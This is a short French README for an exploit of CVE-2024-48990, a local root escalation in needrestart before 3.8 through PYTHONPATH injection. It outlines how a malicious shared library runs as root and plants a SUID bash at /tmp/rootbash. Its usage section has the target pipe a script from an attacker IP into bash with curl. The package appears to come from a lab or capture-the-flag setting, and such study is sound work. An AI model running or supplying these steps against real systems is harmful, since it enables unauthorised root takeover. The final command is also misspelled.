Exploit CVE-2024-48990

Élévation de privilèges locale dans needrestart < 3.8 via l'injection PYTHONPATH.

Comment ça marche

1. needrestart s'exécute en tant que root et analyse tous les processus
2. Trouve notre processus Python, lit PYTHONPATH=/tmp/.m dans /proc/[pid]/environ
3. Exécute Python en tant que root avec notre PYTHONPATH malveillant
4. L'import de Python charge /tmp/.m/importlib/__init__.so (notre bibliothèque malveillante)
5. Le constructeur dans .so s'exécute en tant que root avant même le démarrage de Python
6. Crée un bash SUID dans /tmp/rootbash
7. Exécutez /tmp/rootbash -p pour un shell root

Point clé : needrestart fait confiance aux variables d'environnement des processus non privilégiés et les utilise lors de l'exécution d'interpréteurs en tant que root.

Utilisation

Attaquant :

./compile.sh
python3 -m http.server 8000

Cible :

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

Le processus e.py devrait se bloquer et générer un shell root une fois la commande suivante exécutée depuis un deuxième terminal :

sudo needsrestard

le premier terminal démarrera un shell root

Crédits

Qualys Threat Research Unit - CVE-2024-48990